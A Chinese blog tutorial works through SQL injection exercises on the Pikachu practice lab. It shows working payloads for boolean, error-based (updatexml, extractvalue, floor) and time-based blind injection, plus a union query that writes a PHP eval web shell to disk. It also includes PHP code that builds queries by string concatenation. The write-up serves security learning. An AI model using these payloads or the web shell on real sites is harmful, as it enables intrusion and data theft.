基于pikachu的漏洞学习(二)SQL

SQL注入

和XSS一样的,将我们输入的数据当作代码执行,只不过这一次是数据库语句

要做的也是一样的,闭合原本的语句,构造新语句

数据库的基本查询语句也很简单,以pikachu的user表为例

select * from users where id=1;

在这里插入图片描述

查询/返回(所有信息)从(users表)当条件满足(id=1)

相信学习过php商城那篇文章的小伙伴已经初步了解了sql的增删改查,不多说

开胃小菜

这是通过POST表单提交id参数进行的数据库查询(当然因为是SQL注入的练习所以不考虑匹配文件名那种)

在这里插入图片描述

注入分两步

①:猜测数据库语句

先猜测一下后端怎么查询,动态返回了名字-kobe,邮箱-kobe@pikachu.com,所以应该是根据id查询了这两个字段

select username,uemail from users where userid=xx;

看一下数据库

在这里插入图片描述

修改一下

select username,email from member where id=3;

在这里插入图片描述

②:闭合&构造SQL语句

我们的输入点是id=3这里的id参数,暂时不用闭合,我们插入一个恒真语句,or语句只要有一个满足就可以,所以会返回所有结果

-- 输入 3 or 1=1
select username,email from member where id=3 or 1=1;

完美,符合语法逻辑,没有错误

在这里插入图片描述

就是这么简单,一个输入点就是一个接口,我们只是利用这个接口实现一些它本来就能够提供的功能和操作,是使用而不是破坏

在这里插入图片描述

POST和GET这两种提交方式也没有太大区别,一个在第一行URL里,一个在最下面

梅开二度

在框里输入名字,name参数,随便输入返回不存在

在这里插入图片描述

①:猜测数据库语句

什么都没返回,也不知道查什么,不过没影响,姑且猜一猜,已知是通过用户名查询,一般在用户信息的表

select * from users where username=xx;

②:闭合&构造SQL语句

因为这里我们的输入是pika,是字符串,字符串要用引号包起来我想是常识

在这里插入图片描述

select * from users where username='xx          ';
select * from users where username='xx' or 1=1;#';

闭合了xx的引号,开始新的语句,分号结束语句,井号注释掉后面多余的引号和分号

在这里插入图片描述

在burp测试时,要注意将特殊符号进行url编码,浏览器会自动编码,burp不会

在这里插入图片描述

在这里插入图片描述

这里有一个问题,为什么不用分号结束语句也会正常执行呢?(不配图了)而在命令行执行是不行的,必须要分号结束

在这里插入图片描述

这是因为在程序文件里,sql语句不需要通过分号来标记语句结束

//php中的sql语句,分号标记php语句结束
$query="select id,email from member where username='$name'";
//python中的sql语句
db = MySQLdb.connect("localhost", "testuser", "test123", "TESTDB", charset='utf8' )

新的符号

搜索框

在这里插入图片描述

①:猜测数据库语句

之前我们写过搜索框,使用的是like语句模糊查询

翻翻代码,简化一下

if($field!=''){
$sql = "SELECT * FROM goods WHERE goodsname like '%$field%' OR xinghao like '%$field%'";
$result = mysql_query($sql) or die('SQL语句有误:'.mysql_error()); 
}

猜测代码为

select * from member where username like '%xx%';

测试

在这里插入图片描述

②:闭合&构造SQL语句

经过前面的练习这已经很简单了

select * from member where username like '%xx%' or 1=1#'%'

因为是url的参数,不要忘了编码

在这里插入图片描述

so easy!

在这里插入图片描述

xx?

什么东西?不管,先插入个单引号

在这里插入图片描述

报错了,这很明显了,语句里有括号

①:猜测数据库语句

select * from member where id=(select '2');

在这里插入图片描述

和这个查询完全无关,但是包含了括号,我想应该是可以行的通的,2就是我们接收参数拼接的位置,用户名是字符串,突然想到一个问题,是单引号双引号呢?都可以尝试一下

②:闭合&构造SQL语句

select * from member where id=(select 'xx') or 1=1#');

url编码

在这里插入图片描述

哈哈,不过如此嘛!

输出点?匹配!多语句

这是个登录&注册功能点,不巧是之前也写过

注册

$pwd=md5($pwd);
$query="INSERT INTO users(`uemail`,`upassword`,`uname`)VALUES('$email','$pwd','$email')";

验证后把密码进行md5加密,然后把提交的表单数据存到数据库

登录

$query = "SELECT * FROM users WHERE `uemail`='$email' AND `upassword`='$pwd'";
$result = mysql_query($query);

验证后查询是否有匹配的数据

①:猜测数据库语句

在这里插入图片描述

两个必填项,剩下不填应该默认为NULL,可以不管

insert into member(username,pw)values('xx','xxx');

②:闭合&构造SQL语句

insert语句怎么注入呢?目前只学习了select查询数据,如果要查询数据的话,正常查询首先需要知道当前表名才能查询,数据库自带一个information_schema数据库,tables表有所有表名,schemata表有所有数据库名

在这里插入图片描述

我们在后面一个位置注入,结束前一个语句,插入select语句

insert into member(username,pw)values('xx','xxx');select * from information_schema.schemata#');

究极报错

在这里插入图片描述

经过测试,这个mysql的insert语句后面接条件语句有点困难,需要insert select where句式

insert into member select null,1,2,3,4,5,6 from dual where 1=1;

在这里插入图片描述

dual是mysql关键字,在不知道表名但又需要表名的情况下占位,插入有个null是自增键,不能指定值,但也不能不写,这里暂时不讨论

等等,我们好像忽略了一个问题,就算查询了没有返回结果啊,回想之前的代码

<a href="http://security/userinfo.php"><?php echo $userinfo['uname']?></a>
<a>欢迎</a>

我们动态查询都是通过php语句echo出来的,而这里没有看到输出的信息在哪

这里需要一个新的知识点,在没有输出点但还返回报错信息的时候,可以利用特定函数得到想要的信息

--updatexml 在执行时,遇到不符合语法的就会报错,然后把第二个参数的查询结果输出,一三参数是blabla...随便填
--concat 是连接参数输出 0x7e是~的16进制编码,随便写什么都ok,只是为了方便看输出
select updatexml('@',concat(0x7e,database(),0x7e),'suibian');

在这里插入图片描述

--extractvalue和updatexml一样,都是xpath查询函数,只不过只需要两个参数
select extractvalue('@',concat(0x7e,database(),0x7e));

在这里插入图片描述

为什么要用concat拼接?不拼接输出不全,具体原因感兴趣的同学可以自行了解

--floor 先欣赏一下这个令人眼晕的注入句式
'xx' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'

抽丝剥茧

--简化一下
'xx' and (select 2 from (yyy)a);

这里的a是将yyy语句查询的数据命名为结果集a,我们再从a里查数据,select 2当然只会返回和结果行相同的2,我们只需要 floor 报错

--yyy 先看一下这个语句
select count(*) from z group by floor(rand(0)*2);

group by是分组函数,比如将学生数据按班级分类,统计每个班有多少人,需要配合count,sum等函数一起使用

在这里插入图片描述

--floor(x) 是返回小于或等于x的最大整数,rand返回0-1伪随机数,参数是随机数种子,种子相同,每次生成的随机数也相同
floor(rand(0)*2)永远返回0

令人头大的是,既然它返回0为什么会报错,它的原理是什么?

首先,这个函数并不是永远返回 0,而是第一位永远返回0

在这里插入图片描述

看下面四个语句,只有在随机数种子为0时会报错,这个随机数种子起到什么作用呢?

在这里插入图片描述

t1表只有两条数据,我们执行语句并不会报错,会正常返回

在这里插入图片描述

查询rand时,会被计算多次,即查询时计算一次,插入时计算一次

在这里插入图片描述

floor(rand(0)*2)的固定序列是011011…

在第三次执行时发现存在值为1的键,则直接count+1,不计算,在第四次执行时查询发现没有为0的主键,想要插入主键,结果插入时再次计算,主键变为1 ,与已有的主键冲突,从而报错

那么随机数种子为其它值呢?随便输出一个

在这里插入图片描述

执行顺序

在这里插入图片描述

不会造成主键冲突,在之前rand(0)的时候两条数据也不会报错也是因为主键没有冲突

再回到这个语句,在报错时使用concat把主键和结果一起输出,x呢就是类似函数的命名吧,然后调用

'xx' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'

继续构造语句,在第二个参数处注入,我们不插入新的语句,在原有语句拼接就可以了

insert into member(username,pw)values('xx','xxx' and extractvalue(0,concat(0x7e,database()))#');

并没有成功啊,这是因为insert语句前面有n个列,如果后面的插入的值的个数不匹配语句是不成功的,虽然可以不填值但是并不能把后面的语句注释掉

我们用or语句或者and连接

--原语句
insert into member(username,pw,xx,xx,xx,xx)values('xx','xxx','xx','xx','xx','xx');
--新语句                                                
insert into member(username,pw,xx,xx,xx,xx)values('xx','xxx' and extractvalue(0,concat(0x7e,database())) or '','xx','xx','xx','xx');

构造后,第二个参数的位置是'xx' and extractvalue() or '',通过逗号分隔参数,所以前后个数还是匹配的

在这里插入图片描述

and or都无所谓,只要这个函数能够执行就可以,执行就会报错,我们的目的就达到了,在哪个参数处注入都可以(最后一个可以注释吗?),但是要注意其它的地方是否会有格式检查

当然可以,注意括号的位置

在这里插入图片描述

更新信息update语句

在这里插入图片描述

①:猜测数据库语句

姓名无法修改,猜测是通过姓名定位并修改行信息

update member set sex='x',phonenum=x,address='dd',email='mm' where username='vince';

它和前面的基础语句很像,不需要括号前后的匹配,所以直接闭合注释就可以了

②:闭合&构造SQL语句

'xx' and extractvalue(0,concat(0x7e,database()))#

在这里插入图片描述

删除delete语句,很简单

①:猜测数据库语句

在这里插入图片描述

通过id查找并删除数据

delete from member where id=xx;

②:闭合&构造SQL语句

delete from member where id=xx and extractvalue(0,concat(0x7e,database()))#

url编码

在这里插入图片描述

还有快捷键

在这里插入图片描述

请求头

SQL注入的原理是数据被带入数据库语句执行,我们目前接触了在url中的,在请求体中的,那么请求头也不例外,也会有存在SQL注入的可能

那么哪些数据会和数据库有交集呢?

在这里插入图片描述

这个是不是很眼熟呢?小小waf阻挡了多少人前进的脚步

数据被记录,攻击次数过多直接封禁IP,我们的IP就被记录在数据库,它做了xss过滤吗?毕竟是显示在前端的

①:猜测数据库语句

插入数据,应该是insert语句,不太清楚ua和accept和端口是否有记录,还是只是session数组,是否有引号也并不确定

insert into attacker(ip,ua,accept,port)values('xx','yy','zz','pp'); 

一共两个请求,请求sqli_header.php的请求头会被记录,但是更改IP的请求头,比如常见的Remote-AddrX-Forwarded-For都没有效果

在这里插入图片描述

其实Remote_Addr一般无法伪造,它并不是通过http头的信息获得的,而是服务器直接获取连接机器的IP

②:闭合&构造SQL语句

插入语句就是那个,不多说,只要注意不要随便注释就可以了

在这里插入图片描述

yes or no

随便输入一点引号括号,没有报错

在这里插入图片描述

正常查询

在这里插入图片描述

①:猜测数据库语句

查询语句,返回uid和email

select uid,email from member where username='xx';

②:闭合&构造SQL语句

讲过就略过了,xx' or 1=1#

在这里插入图片描述

返回不存在,几种情况,一是语句写错,二是被过滤了,三是纯粹的不返回

换成and 1=1,会成功返回

在这里插入图片描述

and 1=2,用户不存在,我们可以判断出语句是被执行了的,因为vince是真实存在的用户,所以前面查询语句成功,后面1=2结果为true,两个有一个为false,返回false,上一个1=1为true,两个都为true,正常返回

在这里插入图片描述

or 1=2,我记得or是只要一个为真就返回真,为什么必须两个都为真不能正常返回呢?

在这里插入图片描述

翻看一下源码

if($result && mysqli_num_rows($result)==1){}

原来是对结果做了验证,只返回一条结果就输出,否则不输出,在知道用户名的情况下,可以使用and 1=1and 1=2不同的结果判断或or 1=1or 1=2或者任何同效语句,那么不知道用户名呢?

如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。

如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。

and行不通,or 1=1不返回,没办法构造有两种返回结果语句,所以不能用这两个语句判断否存在注入

知道用户名还有另一种方法判断是否存在注入,即用延时语句判断语句是否执行就可以了

xx
xx' and sleep(3)#
xx' and sleep(10)#

在这里插入图片描述

正常执行大概是350ms,延时3s,延时10s,对应的时间也会延长,证明后端执行了我们的SQL语句,也是SQL注入的定义,这个也是没有输出点(可以执行floor报错注入),也是通过真假条件判断数据的值

配合if语句,为真则执行 x,为假则执行 y

if(条件语句,x,y)

我们可以通过逐字猜解的方法判断数据,m代表从第m个字符串开始截取,取n个字符

'xx' and if(substr(database(),m,n)='p',sleep(3),null)#
--取数据库的第一个字符
'xx' and if(substr(database(),1,1)='p',sleep(3),null)# 

在这里插入图片描述

利用

sql注入的利用无非就是数据库的那些操作:增删改查

增:增加个管理员账号…好像没有这么用的,比较常见的就是写个一句话木马,连接

'xx' union select "<?php @eval($_POST['cmd']);?>" into outfile '1.php'#

条件是有写文件的权限,二是写的文件你要能访问到,要不然怎么连接,三是要有执行权限吧,不然写了成html文件也没用额

secure_file_priv=''              //默认为null无法写文件

测试一下

在这里插入图片描述

也需要列数匹配,在没有返回的时候也要想一下union前后的语句是否匹配

再次执行,报错

在这里插入图片描述

但是重新发送显示文件已经存在,说明文件已经被写入了,翻看一下,文件被写到D:\phpstudy_pro\Extensions\MySQL5.7.26\data\pikachu目录了,所以就是为什么写文件要指定目录

在这里插入图片描述

成功写入(这个目录没有人会猜到)

在这里插入图片描述

在这里插入图片描述

查:就是查数据,比如一些用户的密码,我们拿到,去破解md5,然后登录,也是危险很大的,如果是管理员的账号就更美妙了,找到后台…前面很多读数据的地方

SqlMap

sqlmap是自动化测试sql注入的工具

sqlmap -u "example.com"

由于篇幅有限,工具使用暂不讲解

其它

关于SQL注入,我们执行的操作都是需要一定权限的,如果关键字被过滤,被转义,没有读写权限等等问题导致失败,也是非常常见的,还需要后续深入学习。(所以靶场的宽字节也没写)

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值